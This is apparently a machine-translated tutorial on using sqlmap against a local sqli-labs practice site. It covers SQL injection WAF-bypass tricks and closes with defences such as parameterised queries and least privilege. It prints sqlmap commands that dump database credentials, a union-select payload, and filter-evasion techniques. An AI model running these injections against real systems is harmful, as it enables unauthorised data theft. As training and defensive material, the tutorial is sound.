ホームページ  >  記事  >  運用・保守  >  SQLMap と SQLi インジェクション防御を分析する方法

SQLMap と SQLi インジェクション防御を分析する方法

WBOY
WBOY転載
2023-05-11 18:37:061039ブラウズ

パート 1: Sqlmap の使用

1.1 sqlmap の概要

1. SQL インジェクションの基本的なステートメントについては前にいくつか説明しましたが、手動インジェクションは非常に面倒です。 SQL インジェクション。データを取得するツール。

2. sqlmap の概要

(1)#sqlmap は、SQL インジェクションの脆弱性と
を自動的に検出して悪用できるオープン ソースの侵入テスト ツールです。インターフェース データベースに入るサーバー。非常に強力な検出エンジン、複数の機能を備えたペネトレーション テスター、データベース フィンガープリンティングによる基盤となるファイル システムへのアクセス、および帯域外接続を介したコマンド実行を備えています。

公式 Web サイト: sqlmap.org

SQLMap と SQLi インジェクション防御を分析する方法

(2)#サポートされるデータベース:
MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft
Access、IBM DB2、SQLite、Firebird、Sybase、SAP MAXDB。

#(3)#複数のインジェクション方法をサポート

#UNION クエリ SQL インジェクション (クエリ インジェクションと組み合わせ可能)

#エラーベースの SQL インジェクション (エラーベースのインジェクション)
# ブールベースのブラインド SQL インジェクション (ブール インジェクション)
#時間ベースのブラインド SQL インジェクション (時間遅延インジェクションに基づく)
#スタック クエリ SQL インジェクション (マルチステートメント クエリ インジェクション)

1.2 sqlmapのインストールと環境構築

1. sqlmapのインストールの主な手順

(1) Python環境のインストール--->sqlmapにはPython環境が必要です

Pythonのダウンロードアドレス: https://www.python.org/downloads/release/python-2715/)

SQLMap と SQLi インジェクション防御を分析する方法

sqlmap は Python2.X バージョンとの互換性が高くなります (インストール手順はpython は直接次のステップに進みます。ただし、変更する必要があるのは sqlmap のインストール パスです。ここでは C:\Users\Administrator\python に変更します。コマンド ラインから sqlmap ディレクトリに直接入力して詳細を確認するには、便利な操作)

(2) Python を中国語パスにインストールせず、環境変数に Python を追加します。 ## (3) sqlmap をダウンロードしてインストールし、インストール ディレクトリを C :\Users\Administrator\sqlmap

(4) Python 環境をテストします。cmd コマンド ラインを入力し、

python,# と入力します。 ##次のプロンプトはインストールが成功したことを示しますSQLMap と SQLi インジェクション防御を分析する方法

C:\Users\ Administrator>

pythonSQLMap と SQLi インジェクション防御を分析する方法

Python 2.7.16

(v2.7.16:413a49145e, Mar 4 2019, 01:37:19) win32 の [MSC v.1500 64 ビット (AMD64)]

詳細については、「ヘルプ」、「著作権」、「クレジット」、または「ライセンス」と入力してください。 >>> exit();

(5) sqlmap テスト: cmd コマンド ラインを入力し、sqlmap.py -h (パスに注意してください) C:\ Users\Administrator\sqlmap>
sqlmap.py -h #ヘルプ情報を表示

1.3 sqlmap の共通パラメータ

#(1) ライブラリ名、カラム名、権限の取得

SQLMap と SQLi インジェクション防御を分析する方法--dbs #すべてのデータベースの取得

##--dbms mysql #データベースの種類を指定します

--users #すべてのデータベース ユーザー ( データベースのローカル ユーザー名)
  • --passwords #データベースのパスワードを取得します (許可がある場合にのみ読み取ることができます)
  • --technique #使用する注入タイプを指定します
  • --current-db #Currentデータベース
  • --banner #データベース識別の取得

  • #-D データベース名 --tables #-D はデータの指定に使用され、--tables はデータを取得します特定のライブラリの下のテーブル

  • -D データベース名 -T テーブル名 --columns #-T はテーブル名を指定し、 --columns は列フィールドを取得します

  • #-D データベース名 -T テーブル名 -C 列_1,列_2 --dump
  • #-C はフィールド名を指定します。- - 表示結果をダンプします

  • --users #列データベース管理ユーザー: 現在のユーザーがすべてのユーザーを含むテーブルを読み取る権限を持っている場合、すべての管理ユーザーをリストできます。

  • --current-user #データを管理するユーザーは、ほとんどのデータベースで取得できます。

  • --is-dba #現在のユーザーが管理者であるかどうかを判断し、管理者である場合は True を返します。


  • --privileges #現在のユーザーがすべてのユーザーを含むテーブルを読み取る権限を持っている場合、各ユーザーの権限がリストされる可能性が高く、sqlmap はどのユーザーに属しているかを示します。データベースのスーパー管理者。 -U パラメーターを使用して、表示するユーザーの権限を指定することもできます。
  • --proxy #プロキシ サーバーを指定します。例: –proxy http://local:8080
  • (2) 指定します。プレフィックスとサフィックス:

    • #sqlmap は多くの干渉文字を検出できません。閉じるときに、プレフィックスとサフィックスを手動で指定できます

    • select * from users where id=((( '1 '))) および 1=1

    • #--prefix=PREFIX ペイロード文字列を挿入します prefix


    • --suffix=SUFFIXペイロードの挿入文字列サフィックス
      例: sqlmap -u "www.target.com/index.php?id=1" -p id --prefix "'))"

      --suffix "AND ('1' = '1"

    #(3) 結果のエクスポート:

    • ##sqlmap -u "www.a.com/ 1.php?id=1” --file-write=”d:/1.txt”

    • --file-dest=”E:/wwwroot/web/one. php "

    • #--完全自動バッチ

    • #--start=開始番号--stop=終了番号
    • ##--dump データのエクスポート

    • ##--dump-all すべてのデータのエクスポート

    • ##--purge-output/ -- purge キャッシュ ディレクトリをクリアします
    • --sql-shell SQL クエリ アナライザーに似たリバウンド sqlshell デフォルトの path.sqlmap (sqlmap をクリック)
    • #1.4 sqlmap の実際の例
    • #Less-1--Less65 の一般的なステートメント (これらは最も一般的に使用されるパラメータであるため、理解しておく必要があります)

    #(1 ) すべてのライブラリ名を取得します

    C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -- dbs --dbms= mysql --batch

    # 分析:

    -u に続く URL はテスト URL を示します

    --dbs はすべてのデータベースの取得を示します

    --dbms は、指定されたデータベース タイプが mysql であることを意味します

    --batch は自動的に取得することを意味します

    -D security --tables は指定されたデータベースのテーブルを次のように取得することを意味しますsecurity Name

    -D security -T users --columns は、指定されたデータベースの users テーブルの列名を security

    -D security -T users -C username,password として取得することを意味します--dump # セキュリティ ライブラリとユーザー テーブルのユーザー名とパスワード フィールドのデータ情報を取得します。 --dump は結果を表示することを意味します

    Result:

    #[*]チャレンジ

    [*] dvwa

    [*] information_schema

    [*] mysql

    [*] owasp

    [*] Performance_schema[*] security[*] テスト


    #(2) 現在のライブラリ名を取得します

    C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less- 1?id=1" --current -db --batch

    #結果:

    現在のデータベース: 'セキュリティ'

    #(3) を取得します。現在のテーブル名

    C :\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security --tables --batch
    # 結果:

    データベース:セキュリティ[4 テーブル] ----------
    | メール |

    | Referers |

    | uagents || users | ----------



    #(4) 現在の列名を取得

    C:\Users\Administrator \sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security -T users --columns --batch

    #結果:


    データベース: セキュリティテーブル: ユーザー[3 列]
    ---------- ---- ---------

    | 列 | 型 |

    ---------- ------------- | id | int (3) || パスワード | varchar (20) |
    | ユーザー名 | varchar(20) |
    ---------- ----------- --


    #(5) users テーブルのユーザー名とパスワードの内容を取得します。

    C:\Users\Administrator\sqlmap>python sqlmap.py -u "http:/ /localhost/sqli/Less-1?id=1" -D security -T users -C username,password --dump --batch


    結果:

    データベース:セキュリティテーブル: ユーザー[13 エントリ ]
    ---------- ------------

    | ユーザー名 | パスワード |

    ---------- --- --------- | バカ | バカ || アンジェリーナ | 殺すよ |
    | ダミー | p@ ssword |
    | 安全 | くだらない |
    | 愚か | 愚かさ |
    | スーパーマン | 天才 |
    | バットマン | 暴徒 |
    | 管理者 | 管理者 |
    | 管理者 1 | admin1 |
    | admin2 | admin2 |
    | admin3 | admin3 |
    | dhakkan | dumpo |
    | admin4 | admin4 |
    ---------- --- ---------

    パート 2: SQL インジェクションの WAF バイパス

    2.1 SQL インジェクションの WAF バイパス方法の概要


    注: こここれらはバイパス方法を説明するための単なる例であり、実際のシナリオはより複雑です。複雑です。複数のバイパス方法を混合してエンコードすることができます。

    1. SQL インジェクションの方法を理解した後、SQL インジェクションを防ぐにはどうすればよいですか?インジェクション?

    ##(1) コメント文字のフィルタ

    #(2) and or or

    ## のフィルタ

    (3) フィルタの選択または結合
    • #(4) フィルタのブラックリスト
    • 2. フィルタリングおよび/またはバイパスとは何ですかメソッド?
    • #(1) Mysql は大文字と小文字を区別しないため、正しく実行できます。===>ケースの変形を使用する
  • #(2)mysql は 16 進数をサポートしており、16 進数または URL エンコーディングを使用します;

  • #(3)単語を記号で置き換えます = ==> 記号のバイパスand(&&) or(||)

  • #(4) インライン コメントと複数行コメント===>デリケートな言葉でコメントを追加する a/**/nd 二重書き込みバイパス oORr

3. もちろん他の方法もあります。これらのフィルタリング方法を例として、バイパス方法について説明します。

waf があります。

2.2 SQL インジェクション バイパス WAF 実験

1. アノテーションをフィルタリングします (例として 23 未満)

#(1) コメント文字をフィルタリングする理由: 通常の SQL ステートメントでは、コメント文字は説明的な役割を果たします。ただし、SQL インジェクションの脆弱性を悪用する過程で、コメント文字は一重引用符、複数の一重引用符、二重引用符、一重括弧、および複数括弧を閉じる役割を果たします。
単一行のコメント: -- または --space または
#複数行のコメント: /* 複数行のコメントの内容* /

#(2) フィルター関数 preg_replace
preg_replace(mixed $pattern,mixed $replacement,mixed $subject): 正規表現による検索と置換を実行します。
$pattern: 検索するパターン。文字列または文字列配列にすることができます。
$replacement: 置換に使用される文字列または文字列配列。
$subject: 検索および置換されるターゲット文字列または文字列配列。

SQLMap と SQLi インジェクション防御を分析する方法

#(3) コメント文字をバイパスします:
コメント文字を使用してフィルタリングすると、一重引用符などを正常に閉じることができません。別の考え方を使用して、または '1 '='1 閉じ一重引用符など。
http://127.0.0.1/sqli/Less-23/?id=-1' 共用体選択 1,database(),'3

SQLMap と SQLi インジェクション防御を分析する方法

2。フィルター処理された and or or をバイパスするにはどうすればよいですか? (例として Less-25)

(1) ソース コード分析: or または and が空の

SQLMap と SQLi インジェクション防御を分析する方法# に置き換えられていることがわかります。

##(2) 操作手順

SQLMap と SQLi インジェクション防御を分析する方法SQLMap と SQLi インジェクション防御を分析する方法SQLMap と SQLi インジェクション防御を分析する方法

3. フィルターされたスペースをバイパスするには? (例として Less-26)

(1)使用する スペースとして機能するには

SQLMap と SQLi インジェクション防御を分析する方法

4. フィルタリングされた選択/共用体をバイパスするにはどうすればよいですか? (Less-27 が例です)

SQLMap と SQLi インジェクション防御を分析する方法SQLMap と SQLi インジェクション防御を分析する方法SQLMap と SQLi インジェクション防御を分析する方法

SQLMap と SQLi インジェクション防御を分析する方法SQLMap と SQLi インジェクション防御を分析する方法#パート 3: SQL インジェクション防御

3.1 SQL インジェクション防御方法

1. 一般的な保護手段:

#(1)、エラー プロンプトをオフにします: PHP 設定ファイル php.ini の display_errors=Off

# (2)、マジック クオート (addslashes と同じ効果): php.ini の場合、magic_quotes_gpc=の上。送信された変数内のすべての一重引用符 (')、二重引用符 (")、バックスラッシュ (\)、および NUL (NULL 文字) は、バックスラッシュを含むエスケープ文字に自動的に変換されます

#(3)、データをフィルターします。 、and/or/union
#(4) などの一般的なキーワードをフィルタリングします。データベースに接続するためのユーザー権限を制御します。各ライブラリは 1 つのライブラリに対して管理者を設定します。root 権限は使用しません。
#( 5)、前処理とパラメータ化 (PDO): データを単純に「結合」するのではなく、ユーザーから渡されたパラメータを処理してブール値を返すことで、SQL インジェクションを回避します。
#(6) ハードウェア保護対策 (WAF)およびその他のハードウェア)

以上がSQLMap と SQLi インジェクション防御を分析する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。